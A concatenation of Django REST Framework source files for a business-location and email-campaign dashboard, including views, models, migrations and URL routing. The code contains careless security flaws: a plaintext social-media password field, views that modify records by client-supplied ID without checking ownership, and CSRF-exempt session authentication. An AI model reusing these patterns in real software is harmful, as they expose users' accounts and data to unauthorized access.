request.data["user_id"] = self.request.user.id
serializer = AddCampaignSerializers(data=request.data)
# serializer.is_valid(raise_exception=True)
if serializer.is_valid():
user_id = request.data["user_id"]
campaign__id = ""
if "campaign__id" in request.data:
campaign__id = request.data["campaign__id"]
Title = request.data["Title"]
Sent_from = request.data["Sent_from"]
replay_to = request.data["replay_to"]
message = request.data["message"]
sms_message = request.data["sms_message"]
location_id = request.data["location_id"]
Image = request.data["Image"]
Extera_data = request.data["Extera_data"]
Head = request.data["Head"]
Subject = request.data["Subject"]
upload_image = ""
if DfUser.objects.filter(user__id=user_id).exists():
get_Dfuser_ins = get_object_or_404(DfUser, user__id=user_id)
get_DfBusinessLocation_ins = None
Status_set = True
if location_id:
if DfBusinessLocation.objects.filter(id=location_id).filter(DfUser=get_Dfuser_ins).exists():
get_DfBusinessLocation_ins = get_object_or_404(DfBusinessLocation, id=location_id,
DfUser=get_Dfuser_ins)
else:
Status_set = False
mes = "Your location_id is incorrect."
data_response = "Your location_id is incorrect."
raise exceptions.ValidationError(mes)
if Image:
image_file_get_cover = Image
format_cover, imgstr_cover = image_file_get_cover.split(';base64,')
ext_cover = format_cover.split('/')[-1]
today_date = date.today()
set_file_name_cover = str(today_date.day) + "_" + str(today_date.month) + "_" + str(
today_date.year)
file_name_cover = set_file_name_cover + "." + ext_cover
upload_image_get = ContentFile(base64.b64decode(imgstr_cover), name=file_name_cover)
upload_image = upload_image_get
if Status_set:
if campaign__id:
get_Campaign_INS = get_object_or_404(DfCampaign,id=campaign__id)
DfCampaign.objects.filter(id=get_Campaign_INS.id).update(
DfUser=get_Dfuser_ins,
BusinessLocation=get_DfBusinessLocation_ins,
Head=Head,
Subject=Subject,
Title=Title,
Sent_from=Sent_from,
replay_to=replay_to,
message=message,
sms_message=sms_message,
Extera_data=Extera_data
)
get_Campaign_INS.Image.delete(save=False)
get_Campaign_INS.Image = upload_image
get_Campaign_INS.save()
# data_response = "Campaign Update successfully."
data_response["message"] = "Campaign Update successfully."
data_response["campain_id"] = get_Campaign_INS.id
get_data = "Campaign Update successfully."
else:
connect_plat = DfCampaign(
DfUser=get_Dfuser_ins,
BusinessLocation=get_DfBusinessLocation_ins,
Head=Head,
Subject=Subject,
Title=Title,
Sent_from=Sent_from,
replay_to=replay_to,
message=message,
Image=upload_image,
sms_message=sms_message,
Extera_data=Extera_data
)
connect_plat.save()
data_response["message"] = "Campaign create successfully."
data_response["campain_id"] = connect_plat.id
get_data = "Campaign create successfully."
else:
mes = "Your user_id is incorrect."
data_response = "Your user_id is incorrect."
raise exceptions.ValidationError(mes)
else:
data_response = serializer.errors
return Response(data_response)
class GetAllCampaignView(APIView):
authentication_classes = (TokenAuthentication,CsrfExemptSessionAuthentication,BasicAuthentication,)
permission_classes = [IsAuthenticated]
def get(self,request):
all_Campaign_data = {}
request.data["user_id"] = self.request.user.id
serializer = GetAllCampaignSerializers(data=request.data)
serializer.is_valid(raise_exception=True)
all_Campaign = DfCampaign.objects.filter(DfUser=serializer.validated_data).order_by("-id")
# all_CampaignSerializer = GetAllCampaignSerializersData(all_Campaign, many=True, context={"request":request})
all_CampaignSerializer = GetAllCampaignSerializersData(all_Campaign, many=True)
all_Campaign_data = all_CampaignSerializer.data
return Response({"all_campaign":all_Campaign_data},status=200)
class GetCampaignByIdView(APIView):
authentication_classes = (TokenAuthentication,CsrfExemptSessionAuthentication,BasicAuthentication,)
permission_classes = [IsAuthenticated]
def post(self, request):
all_Campaign_data = {}
request.data["user_id"] = self.request.user.id
serializer = GetAllCampaignSerializersCheckCampaignid(data=request.data)
serializer.is_valid(raise_exception=True)
all_CampaignSerializer = GetAllCampaignSerializersData(serializer.validated_data)
all_Campaign_data = all_CampaignSerializer.data
return Response({"campaign": all_Campaign_data}, status=200)
class RemoveCampaignByIdView(APIView):
authentication_classes = (TokenAuthentication,CsrfExemptSessionAuthentication,BasicAuthentication,)
permission_classes = [IsAuthenticated]
def post(self, request):
all_connection_set = {}
if request.method == "POST":
request.data["user_id"] = self.request.user.id
serializer = RemovecampaignByIdSerializers(data=request.data)
serializer.is_valid(raise_exception=True)
return Response({"messgae": serializer.validated_data}, status=200)
class AddCampaignEmailView(APIView):
authentication_classes = (TokenAuthentication, CsrfExemptSessionAuthentication, BasicAuthentication,)
permission_classes = [IsAuthenticated]
def post(self, request):
user_id = self.request.user.id
message_set = ""
# request.data["user_id"] = self.request.user.id
# serializer = AddCampaignEmailSerializers(data=request.data)
# serializer.is_valid(raise_exception=True)
# if 'camp_id' in self.request.POST and 'emails' in self.request.POST and 'names' in self.request.POST:
if user_id:
if DfUser.objects.filter(user__id=user_id).exists():
get_user_instance = get_object_or_404(DfUser, user__id=user_id)
if request.data['camp_id']:
if DfCampaign.objects.filter(id=request.data['camp_id'], DfUser=get_user_instance).exists():
get_campaign_ins = get_object_or_404(DfCampaign, id=request.data['camp_id'], DfUser=get_user_instance)
for i in range(0, len(request.data["emails"])):
if request.data["emails"][str(i)]:
ass_emails = DfUseremail(DfUser=get_user_instance, Campign=get_campaign_ins,Email=request.data["emails"][str(i)], Name=request.data["names"][str(i)],Contact=request.data["contact"][str(i)])
ass_emails.save()
message_set = "Email add in database successfully."
else:
mes = "campaign_id is incorrect."
raise exceptions.ValidationError(mes)
else:
mes = "Must provide campaign_id."
raise exceptions.ValidationError(mes)
else:
mes = "user_id is incorrect."
raise exceptions.ValidationError(mes)
else:
mes = "Must provide user_id."
raise exceptions.ValidationError(mes)
# else:
# mes = "camp_id , emails ,names is required."
# raise exceptions.ValidationError(mes)
return Response({"messgae": message_set}, status=200)
def send_email_content(subject,message_content,send_email):
email_content = message_content
msg = email.message.Message()
msg['Subject'] = subject
msg['From'] = settings.EMAIL_HOST_USER
msg['To'] = send_email
password = settings.EMAIL_HOST_PASSWORD
msg.add_header('Content-Type', 'text/html')
msg.set_payload(email_content)
s = smtplib.SMTP(settings.EMAIL_HOST + ':' + str(settings.EMAIL_PORT))
s.starttls()
s.login(msg['From'], password)
s.sendmail(msg['From'], [msg['To']], msg.as_string())
return "True"
class SendEmailsView(APIView):
authentication_classes = (TokenAuthentication, CsrfExemptSessionAuthentication, BasicAuthentication,)
permission_classes = [IsAuthenticated]
def post(self, request):
message_set = ""
user_id = self.request.user.id
if user_id:
if DfUser.objects.filter(user__id=user_id).exists():
get_user_instance = get_object_or_404(DfUser, user__id=user_id)
if request.data['camp_id']:
if DfCampaign.objects.filter(id=request.data['camp_id'], DfUser=get_user_instance).exists():
get_campaign_ins = get_object_or_404(DfCampaign, id=request.data['camp_id'], DfUser=get_user_instance)
limit = 5
if request.data['send_limit']:
limit = request.data['send_limit']
if DfUseremail.objects.filter(Campign=get_campaign_ins).exists():
get_emails = DfUseremail.objects.filter(Campign=get_campaign_ins)[:limit]
for item in get_emails:
mail_content_content = str(get_campaign_ins.message).replace('{name}',item.Name)
status = send_email_content(get_campaign_ins.Subject, mail_content_content,item.Email)
DfUseremail.objects.filter(id=item.id).update(mail_sent_status=True,Sent_date=datetime.now())
# message_set += "||"+item.Name+"=="+str(status)
message_set = "Send All Email."
else:
message_set = "All email is sent."
else:
mes = "campaign_id is incorrect."
raise exceptions.ValidationError(mes)
else:
mes = "Must provide campaign_id."
raise exceptions.ValidationError(mes)
else:
mes = "user_id is incorrect."
raise exceptions.ValidationError(mes)
else:
mes = "Must provide user_id."
raise exceptions.ValidationError(mes)
return Response({"messgae": message_set}, status=200)<file_sep># Generated by Django 3.0.4 on 2020-04-13 11:18
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('accounts', '0005_auto_20200410_1503'),
('social_media_platforms', '0002_auto_20200413_1243'),
('manage_locations', '0008_dflocationconnectplatfor'),
]
operations = [
migrations.RenameModel(
old_name='DfLocationConnectPlatfor',
new_name='DfLocationConnectPlatform',
),
]
<file_sep># Generated by Django 3.0.5 on 2020-04-16 12:20
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('manage_locations', '0012_dflocationopenhours_end_time_2'),
]
operations = [
migrations.AddField(
model_name='dfbusinesslocation',
name='Do_not_publish_my_address',
field=models.BooleanField(default=True),
),
migrations.AddField(
model_name='dfbusinesslocation',
name='Franchise_Location',
field=models.BooleanField(default=True),
),
]
<file_sep># Generated by Django 3.0.6 on 2020-09-23 06:46
from django.db import migrations, models
import django.db.models.deletion
import django.utils.timezone
class Migration(migrations.Migration):
dependencies = [
('accounts', '0008_auto_20200821_1621'),
('manage_pricing', '0011_auto_20200922_1434'),
('manage_orders_and_payments', '0005_auto_20200922_1434'),
]
operations = [
migrations.AlterField(
model_name='dforders',
name='DfUser',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='accounts.DfUser'),
),
migrations.AlterField(
model_name='dforders',
name='Duration_Type',
field=models.CharField(blank=True, choices=[('D', 'Days'), ('M', 'Month'), ('Y', 'Year')], max_length=120, null=True),
),
migrations.AlterField(
model_name='dforders',
name='Package',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='manage_pricing.DfPrice'),
),
migrations.CreateModel(
name='DfOrdersAndPayment',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('Order_id', models.CharField(blank=True, max_length=120, null=True, unique=True)),
('Final_Amount', models.FloatField(default=0)),
('Duration_Type', models.CharField(choices=[('D', 'Days'), ('M', 'Month'), ('Y', 'Year')], max_length=120)),
('Duration_Time', models.IntegerField()),
('Create_Date', models.DateTimeField(default=django.utils.timezone.now)),
('Payment', models.BooleanField(default=False)),
('Payment_Type', models.CharField(blank=True, max_length=120, null=True)),
('Transaction_id', models.CharField(blank=True, max_length=120, null=True)),
('Payment_Date', models.DateTimeField(blank=True, null=True)),
('Active', models.BooleanField(default=False)),
('Start_Date', models.DateField(blank=True, null=True)),
('End_Date', models.DateField(blank=True, null=True)),
('DfUser', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='accounts.DfUser')),
('Package', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='manage_pricing.DfPrice')),
],
options={
'verbose_name_plural': 'DF Orders And Payment',
},
),
]
<file_sep>from django.contrib import admin
from import_export.admin import ImportExportModelAdmin
from .models import DfJobCategory,DfJobs,DfJobApplaicationSet
# Register your models here.
class DfJobCategoryAdmin(ImportExportModelAdmin):
list_display = ('CategoryName','Create_date')
admin.site.register(DfJobCategory,DfJobCategoryAdmin)
class DfJobsAdmin(ImportExportModelAdmin):
list_display = ('Category_name','Job_Title','Job_slug','Job_Description','Create_date')
admin.site.register(DfJobs,DfJobsAdmin)
class DfJobApplaicationAdmin(ImportExportModelAdmin):
list_display = ('Job_title','job_cate','Name','email','contact_no','Application_Date')
admin.site.register(DfJobApplaicationSet,DfJobApplaicationAdmin)<file_sep># Generated by Django 3.0.6 on 2020-09-22 14:34
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('manage_pricing', '0011_auto_20200922_1434'),
('accounts', '0008_auto_20200821_1621'),
('manage_orders_and_payments', '0004_auto_20200922_1156'),
]
operations = [
migrations.AlterField(
model_name='dforders',
name='DfUser',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to='accounts.DfUser'),
),
migrations.AlterField(
model_name='dforders',
name='Duration_Type',
field=models.CharField(choices=[('D', 'Days'), ('M', 'Month'), ('Y', 'Year')], max_length=120, null=True),
),
migrations.AlterField(
model_name='dforders',
name='Order_id',
field=models.CharField(blank=True, max_length=120, null=True, unique=True),
),
migrations.AlterField(
model_name='dforders',
name='Package',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to='manage_pricing.DfPrice'),
),
]
<file_sep>from django.urls import path
from . import views
urlpatterns = [
path('business-categoryes', views.BusinessCategoryesView.as_view()),
path('counrty', views.CounrtyView.as_view()),
path('states', views.StatesView.as_view()),
]<file_sep># Generated by Django 3.0.5 on 2020-04-16 09:25
from django.db import migrations, models
import django.db.models.deletion
import django.utils.timezone
class Migration(migrations.Migration):
dependencies = [
('manage_locations', '0010_auto_20200416_0910'),
]
operations = [
migrations.CreateModel(
name='DfLocationOpenHours',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('Day', models.CharField(blank=True, max_length=20, null=True)),
('Type', models.CharField(blank=True, max_length=20, null=True)),
('Open_status', models.CharField(blank=True, max_length=20, null=True)),
('start_time_1', models.CharField(blank=True, max_length=20, null=True)),
('end_time_1', models.CharField(blank=True, max_length=20, null=True)),
('start_time_2', models.CharField(blank=True, max_length=20, null=True)),
('Update_Date', models.DateTimeField(default=django.utils.timezone.now)),
('Business_Location', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='Df_location_poen_houre', to='manage_locations.DfBusinessLocation')),
],
options={
'verbose_name_plural': 'DF Location Open Hours',
},
),
]
<file_sep>from django.db import models
from accounts.models import DfUser
from manage_pricing.models import DfPrice
from .utils import unique_id_generator_for_order_id_for_Df_order
from django.db.models.signals import pre_save
import django
# Create your models here.
DURATION_CHOICES = (
('D','Days'),
('M', 'Month'),
('Y', 'Year'),
)
class DfOrders(models.Model):
Order_id = models.CharField(max_length=120, unique=True,null=True, blank=True)
DfUser = models.ForeignKey(DfUser, on_delete=models.CASCADE,null=True, blank=True)
Package = models.ForeignKey(DfPrice, on_delete=models.CASCADE,null=True, blank=True)
Final_Amount = models.FloatField(default=0)
Duration_Type = models.CharField(max_length=120,choices=DURATION_CHOICES,null=True, blank=True)
Duration_Time = models.IntegerField(default=0)
Create_Date = models.DateTimeField(default=django.utils.timezone.now)
Payment = models.BooleanField(default=False)
Payment_Type = models.CharField(max_length=120,null=True, blank=True)
Transaction_id = models.CharField(max_length=120,null=True, blank=True)
Payment_Date = models.DateTimeField(null=True, blank=True)
Active = models.BooleanField(default=False)
Start_Date = models.DateField(null=True, blank=True)
End_Date = models.DateField(null=True, blank=True)
def __str__(self):
return self.Order_id
class Meta:
verbose_name_plural = "DF Orders"
def pre_save_create_Order_id(sender, instance, *args, **kwargs):
if not instance.Order_id:
instance.Order_id= unique_id_generator_for_order_id_for_Df_order(instance)
pre_save.connect(pre_save_create_Order_id, sender=DfOrders)
class DfOrdersAndPayment(models.Model):
Order_id = models.CharField(max_length=120, unique=True,null=True, blank=True)
DfUser = models.ForeignKey(DfUser, on_delete=models.CASCADE)
Package = models.ForeignKey(DfPrice, on_delete=models.CASCADE)
Final_Amount = models.FloatField()
Duration_Type = models.CharField(max_length=120,choices=DURATION_CHOICES)
Duration_Time = models.IntegerField()
Create_Date = models.DateTimeField(default=django.utils.timezone.now)
Payment = models.BooleanField(default=False)
Payment_Type = models.CharField(max_length=120,null=True, blank=True)
Transaction_id = models.CharField(max_length=120,null=True, blank=True)
Payment_Date = models.DateTimeField(null=True, blank=True)
Active = models.BooleanField(default=False)
Start_Date = models.DateField(null=True, blank=True)
End_Date = models.DateField(null=True, blank=True)
def __str__(self):
return self.Order_id
class Meta:
verbose_name_plural = "DF Orders And Payment"
def pre_save_create_Order_id(sender, instance, *args, **kwargs):
if not instance.Order_id:
instance.Order_id= unique_id_generator_for_order_id_for_Df_order(instance)
pre_save.connect(pre_save_create_Order_id, sender=DfOrdersAndPayment)<file_sep># Generated by Django 3.0.6 on 2020-09-22 12:05
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('manage_pricing', '0004_auto_20200922_1146'),
]
operations = [
migrations.CreateModel(
name='DfPackageName',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=120, unique=True)),
('keyword', models.CharField(max_length=120, unique=True)),
],
options={
'verbose_name_plural': 'DF Package',
},
),
migrations.AlterField(
model_name='dfprice',
name='Package_Type',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='manage_pricing.DfPackageName'),
),
]
<file_sep>from django.apps import AppConfig
class SocialMediaPlatformsConfig(AppConfig):
name = 'social_media_platforms'
<file_sep># Generated by Django 3.0.6 on 2020-09-22 11:52
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('manage_pricing', '0004_auto_20200922_1146'),
('manage_orders_and_payments', '0001_initial'),
]
operations = [
migrations.AlterField(
model_name='dforders',
name='Duration_Type',
field=models.CharField(blank=True, choices=[('D', 'Days'), ('M', 'Month'), ('Y', 'Year')], max_length=120, null=True),
),
migrations.AlterField(
model_name='dforders',
name='Package',
field=models.ForeignKey(blank=True, choices=[('S', 'Start'), ('B', 'Business'), ('P', 'Professional'), ('M', 'Max')], null=True, on_delete=django.db.models.deletion.SET_NULL, to='manage_pricing.DfPrice'),
),
]
<file_sep># Generated by Django 3.0.6 on 2020-09-22 10:35
from django.db import migrations, models
import django.utils.timezone
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='DfPrice',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('Package_Type', models.CharField(choices=[('S', 'Start'), ('B', 'Business'), ('P', 'Professional'), ('M', 'Max')], max_length=120)),
('Price', models.FloatField(default=0)),
('Start', models.BooleanField(default=True)),
('Create_Date', models.DateTimeField(default=django.utils.timezone.now)),
],
options={
'verbose_name_plural': 'DF Price',
},
),
]
<file_sep>"""dashify URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/3.0/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.urls import include, path
2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))
"""
from django.contrib import admin
from django.urls import path,include,re_path
from django.conf import settings
from django.conf.urls.static import static
from accounts import views
from django.views.generic import TemplateView
urlpatterns = [
path('api/admin/', admin.site.urls),
# path('', TemplateView.as_view(template_name="index.html")),
path('api/account', include('accounts.urls')),
path('api/account/', include('accounts.urls')),
path('api/dropdown-values', include('manage_dropdown_value.urls')),
path('api/dropdown-values/', include('manage_dropdown_value.urls')),
path('api/locations', include('manage_locations.urls')),
path('api/locations/', include('manage_locations.urls')),
path('api/social-platforms', include('social_media_platforms.urls')),
path('api/social-platforms/', include('social_media_platforms.urls')),
path('api/voice-faq', include('manage_voice_faqs.urls')),
path('api/voice-faq/', include('manage_voice_faqs.urls')),
path('api/reviews', include('reviews.urls')),
path('api/reviews/', include('reviews.urls')),
path('api/campaign', include('manage_campus.urls')),
path('api/campaign/', include('manage_campus.urls')),
path('api/queryes', include('queryes.urls')),
path('api/queryes/', include('queryes.urls')),
path('api/bloges', include('manage_bloges.urls')),
path('api/bloges/', include('manage_bloges.urls')),
path('api/faqs', include('manage_faqs.urls')),
path('api/faqs/', include('manage_faqs.urls')),
path('api/jobs', include('manage_jobs.urls')),
path('api/jobs/', include('manage_jobs.urls')),
path('api/package-pricing', include('manage_pricing.urls')),
path('api/package-pricing/', include('manage_pricing.urls')),
path('api/order-and-payments', include('manage_orders_and_payments.urls')),
path('api/order-and-payments/', include('manage_orders_and_payments.urls')),
re_path(r'^(?:.*)/?$', TemplateView.as_view(template_name="index.html") )
] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)
<file_sep>from django.db import models
from django.contrib.auth.models import User
import django
from django.conf import settings
from django.db.models.signals import post_save
from django.dispatch import receiver
from rest_framework.authtoken.models import Token
# Create your models here.
class testUser(models.Model):
user_name = models.CharField(max_length=20)
date = models.DateField()
def __str__(self):
return self.user_name
class DfUser(models.Model):
user = models.ForeignKey(User, on_delete=models.SET_NULL, null=True, blank=True)
first_name = models.CharField(max_length=20,null=True,blank=True)
last_name = models.CharField(max_length=20,null=True,blank=True)
Company_name = models.CharField(max_length=20,null=True,blank=True)
Country = models.CharField(max_length=20,null=True,blank=True)
Phone = models.IntegerField(null=True,blank=True)
Zip = models.IntegerField(null=True,blank=True)
UserType = models.CharField(max_length=20,default="User")
Last_login = models.DateTimeField(null=True,blank=True)
Create_date =models.DateTimeField(default=django.utils.timezone.now)
def __str__(self):
return self.first_name
class Meta:
verbose_name_plural = "DF User"
@receiver(post_save,sender=User)
def create_auth_token(sender,instance=None,created=False,**kwargs):
if created:
Token.objects.create(user=instance)<file_sep># Generated by Django 3.0.4 on 2020-04-13 06:59
from django.db import migrations, models
import django.db.models.deletion
import django.utils.timezone
class Migration(migrations.Migration):
initial = True
dependencies = [
('accounts', '0005_auto_20200410_1503'),
]
operations = [
migrations.CreateModel(
name='DfSocialMedia',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('Platform', models.CharField(max_length=50)),
('Token', models.CharField(blank=True, max_length=120, null=True)),
('username', models.CharField(blank=True, max_length=120, null=True)),
('email', models.CharField(blank=True, max_length=120, null=True)),
('Password', models.CharField(blank=True, max_length=120, null=True)),
('connect_status', models.CharField(blank=True, max_length=120, null=True)),
('Other_info', models.TextField(blank=True, null=True)),
('Craete_Date', models.DateTimeField(default=django.utils.timezone.now)),
('Update_Date', models.DateTimeField(default=django.utils.timezone.now)),
('DfUser', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='accounts.DfUser')),
],
options={
'verbose_name_plural': 'DF Social Media',
},
),
]
<file_sep>from django.shortcuts import render,get_object_or_404
from rest_framework.views import APIView
from rest_framework.decorators import api_view
from rest_framework.response import Response
from rest_framework import exceptions
from rest_framework.authentication import TokenAuthentication,SessionAuthentication,BasicAuthentication
from rest_framework.permissions import IsAuthenticated
from .serializear import GetOpenhourSerializers,GetOpneHourByLocationIdViewSerializers,RemoveImagesFilesByLocationIdImageIdSerializers,UpdateImagesFilesByLocationIdImageIdSerializers,UpdateImagesFilesByLocationIdSerializers,RemoveLocationByIdSerializers,GetConnectionWithCocialMediaSerializers,GetAllConnectionOfOneLocationSerializers,LocationRemoveWithSocialMediaSerializers,LocationWithSocialMediaSerializers,EditLocationpaymentMethodSerializers,EditLocationHoursSerializers,EditLocationBusinessSerializers, GetOneLocationSerializersValidate, AddLocationSerializers,GetAllLocationSerializers,GetAllLocationSerializersValidate
from dashifyproject.tokens import CsrfExemptSessionAuthentication
from accounts.models import DfUser
from .models import DfBusinessLocation,DfLocationImage,DfLocationPaymentMethod,DfLocationConnectPlatform,DfLocationOpenHours
from datetime import date
import base64
from django.core.files.base import ContentFile
from manage_dropdown_value.models import DfBusinessCategory,DfCountry,DfState
# Create your views here.
class GetOpenHourByLocationIdView(APIView):
authentication_classes = (TokenAuthentication,CsrfExemptSessionAuthentication,BasicAuthentication,)
permission_classes = [IsAuthenticated]
def post(self, request):
data = {}
message = ""
if request.method == "POST":
request.data["user_id"] = self.request.user.id
serializer = GetOpneHourByLocationIdViewSerializers(data=request.data)
serializer.is_valid(raise_exception=True)
get_bus_loca_ins = serializer.validated_data
if DfLocationOpenHours.objects.filter(Business_Location=get_bus_loca_ins).filter(Type=request.data['set_type']).exists():
get_open_houre = DfLocationOpenHours.objects.filter(Business_Location=get_bus_loca_ins).filter(Type=request.data['set_type'])
get_open_houre_ins = GetOpenhourSerializers(get_open_houre,many=True)
data = get_open_houre_ins.data
return Response({"data":data},status=200)
# ================================EDIT Location payment_method ===============
class EditLocationPaymentMethodView(APIView):
authentication_classes = (TokenAuthentication,CsrfExemptSessionAuthentication,BasicAuthentication,)
permission_classes = [IsAuthenticated]
def post(self, request):
message = ""
if request.method == "POST":
serializer = EditLocationpaymentMethodSerializers(data=request.data)
serializer.is_valid(raise_exception=True)
if DfBusinessLocation.objects.filter(id=request.data['Location_id']).exists():
get_user_instance = get_object_or_404(DfBusinessLocation, id=request.data['Location_id'])
if DfLocationPaymentMethod.objects.filter(Business_Location=get_user_instance).exists():
DfLocationPaymentMethod.objects.filter(Business_Location=get_user_instance).delete()
# ===============================================================
for i in range(0, len(request.data["payment_method"])):
if request.data["payment_method"][str(i)]:
add_payment = DfLocationPaymentMethod(Business_Location=get_user_instance,
Payment_Method=request.data["payment_method"][str(i)])
add_payment.save()
# ===============================================================
message = "Payment method update succesfully."
return Response({"message": message}, status=200)
# ================================EDIT Location payment_method ===============
# ================================EDIT Location Operations Hours ===============
class EditLocationHoursView(APIView):
authentication_classes = (TokenAuthentication,CsrfExemptSessionAuthentication,BasicAuthentication,)
permission_classes = [IsAuthenticated]
def post(self, request):
message = ""
if request.method == "POST":
request.data["user_id"] = self.request.user.id
serializer = EditLocationHoursSerializers(data=request.data)
serializer.is_valid(raise_exception=True)
get_bus_loca_ins = serializer.validated_data
try:
if request.data["open_houre"]["0"]["Type"] == "":
message = "column 'Type' is required in every row."
raise exceptions.ValidationError(message)
else:
if DfLocationOpenHours.objects.filter(Business_Location=get_bus_loca_ins).filter(Type=request.data["open_houre"]["0"]["Type"]).exists():
DfLocationOpenHours.objects.filter(Business_Location=get_bus_loca_ins).filter(Type=request.data["open_houre"]["0"]["Type"]).delete()
except:
message = "column 'Type' is required in every row."
raise exceptions.ValidationError(message)
for i in range(0,len(request.data["open_houre"])):
if request.data["open_houre"][str(i)]["Day"]:
add_hover = DfLocationOpenHours(
Business_Location = get_bus_loca_ins,
date = request.data["open_houre"][str(i)]["date"],
Day = request.data["open_houre"][str(i)]["Day"],
Type = request.data["open_houre"][str(i)]["Type"],
Open_status = request.data["open_houre"][str(i)]["Open_status"],
start_time_1 = request.data["open_houre"][str(i)]["start_time_1"],
end_time_1 = request.data["open_houre"][str(i)]["end_time_1"],
start_time_2 = request.data["open_houre"][str(i)]["start_time_2"],
end_time_2 = request.data["open_houre"][str(i)]["end_time_2"]
)
add_hover.save()
message = "Location open hour is update."
return Response({"message": message}, status=200)
# ================================EDIT Location Operations Hours ===============
# ================================EDIT Location Business ===============
class EditLocationBusinessView(APIView):
authentication_classes = (TokenAuthentication,CsrfExemptSessionAuthentication,BasicAuthentication,)
permission_classes = [IsAuthenticated]
def post(self, request):
message = ""
if request.method == "POST":
serializer = EditLocationBusinessSerializers(data=request.data)
serializer.is_valid(raise_exception=True)
message = serializer.validated_data
return Response({"message": message}, status=200)
# ================================EDIT Location Business ===============
class GetLocationByIdView(APIView):
authentication_classes = (TokenAuthentication,CsrfExemptSessionAuthentication,BasicAuthentication,)
permission_classes = [IsAuthenticated]
def post(self,request):
location = {}
if request.method == "POST":
serializer = GetOneLocationSerializersValidate(data=request.data)
serializer.is_valid(raise_exception=True)
location_seri = GetAllLocationSerializers(serializer.validated_data)
location = location_seri.data
return Response({"location": location}, status=200)
class GetAllLocationView(APIView):
authentication_classes = (TokenAuthentication,CsrfExemptSessionAuthentication,BasicAuthentication,)
permission_classes = [IsAuthenticated]
# GetAllLocationSerializers
def post(self,request):
all_businessLocation = {}
if request.method == "POST":
serializer = GetAllLocationSerializersValidate(data=request.data)
serializer.is_valid(raise_exception=True)
all_location = DfBusinessLocation.objects.filter(DfUser=serializer.validated_data).order_by("-id")
all_locationSerializer = GetAllLocationSerializers(all_location, many=True)
all_businessLocation = all_locationSerializer.data
else:
msg = "Something wae wrong with API."
raise exceptions.ValidationError(msg)
return Response({"all_location":all_businessLocation},status=200)
class AddLocationView(APIView):
authentication_classes = (TokenAuthentication,CsrfExemptSessionAuthentication,BasicAuthentication,)
permission_classes = [IsAuthenticated]
def post(self, request):
if request.method == "POST":
test = ""
serializer = AddLocationSerializers(data=request.data)
data_response = {}
if serializer.is_valid():
if DfUser.objects.filter(id=request.data['user_id']).exists():
get_user_instance = get_object_or_404(DfUser, id=request.data['user_id'])
# try:
set_Franchise_Location = False
if request.data['Franchise_Location'] == "true":
set_Franchise_Location = True
set_Do_not_publish_my_address = False
if request.data['Do_not_publish_my_address'] == "true":
set_Do_not_publish_my_address = True
add_location = DfBusinessLocation(
DfUser=get_user_instance,
Store_Code = request.data['Store_Code'],
Location_name=request.data['Location_name'],
Additional_catugory=request.data['Additional_catugory'],
Address_1=request.data['Address_1'],
Address_2=request.data['Address_2'],
City=request.data['City'],
Zipcode=request.data['Zipcode'],
Phone_no=request.data['Phone_no'],
Website=request.data['Website'],
Franchise_Location = set_Franchise_Location,
Do_not_publish_my_address = set_Do_not_publish_my_address,
Business_Owner_Name=request.data['Business_Owner_Name'],
Owner_Email=request.data['Owner_Email'],
Business_Tagline=request.data['Business_Tagline'],
Year_Of_Incorporation=request.data['Year_Of_Incorporation'],
About_Business=request.data['About_Business'],
Facebook_Profile=request.data['Facebook_Profile'],
Instagram_Profile=request.data['Instagram_Profile'],
Twitter_Profile=request.data['Twitter_Profile']
)
set_category_ins = None
if DfBusinessCategory.objects.filter(id=request.data['Business_category']).exists():
set_category_ins = get_object_or_404(DfBusinessCategory, id=request.data['Business_category'])
add_location.Business_category = set_category_ins
set_country_ins = None
if DfCountry.objects.filter(id=request.data['Country']).exists():
set_country_ins = get_object_or_404(DfCountry, id=request.data['Country'])
add_location.Country = set_country_ins
set_state_ins = None
if DfState.objects.filter(id=request.data['State']).exists():
set_state_ins = get_object_or_404(DfState, id=request.data['State'])
add_location.State = set_state_ins
image_data_logo = None
if request.data['Business_Logo']:
image_file_get = request.data['Business_Logo']
format, imgstr = image_file_get.split(';base64,')
ext = format.split('/')[-1]
today_date = date.today()
set_file_name = str(today_date.day) + "_" + str(today_date.month) + "_" + str(today_date.year)
file_name = set_file_name + "." + ext
data = ContentFile(base64.b64decode(imgstr), name=file_name)
image_data_logo = data
print(image_data_logo)
add_location.Business_Logo = image_data_logo
image_data_banner = None
if request.data['Business_Cover_Image']:
image_file_get_cover = request.data['Business_Cover_Image']
format_cover, imgstr_cover = image_file_get_cover.split(';base64,')
ext_cover = format_cover.split('/')[-1]
today_date = date.today()
